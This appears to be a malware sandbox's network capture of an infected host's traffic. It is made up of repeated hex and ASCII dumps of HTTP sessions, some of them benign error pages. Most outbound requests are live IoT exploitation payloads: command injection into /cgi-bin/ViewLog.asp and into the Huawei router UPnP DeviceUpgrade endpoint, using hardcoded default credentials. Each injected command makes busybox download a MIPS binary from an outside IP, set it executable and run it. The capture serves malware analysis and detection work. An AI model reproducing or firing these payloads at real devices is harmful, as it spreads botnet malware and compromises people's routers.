69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-botto


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                343192.168.2.153899095.98.191.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.745893955 CET1340INHTTP/1.0 400 Bad Request
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:21:19 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:21:19 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-botto


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                344192.168.2.154220685.14.66.488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.747950077 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                345192.168.2.155410895.163.16.2268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.788619995 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:25.004854918 CET464INHTTP/1.1 401 Unauthorized
                                                Server: nginx/1.10.2
                                                Date: Thu, 23 Nov 2023 04:21:24 GMT
                                                Content-Type: text/html
                                                Content-Length: 195
                                                Connection: keep-alive
                                                WWW-Authenticate: Basic realm="closed area"
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.10.2</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                346192.168.2.154222285.130.90.1678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.789155006 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:25.070708036 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                347192.168.2.153965262.151.4.38080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.996798038 CET344INHTTP/1.0 400 Bad Request
                                                Server: httpd
                                                Date: Thu, 23 Nov 2023 04:21:32 GMT
                                                Content-Type: text/html
                                                CONTENT-LANGUAGE: en
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                348192.168.2.153558094.122.114.1918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:25.418777943 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.658771038 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                349192.168.2.1534202156.241.104.19737215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:26.671108007 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:28.666645050 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:31.194700956 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:36.058523893 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
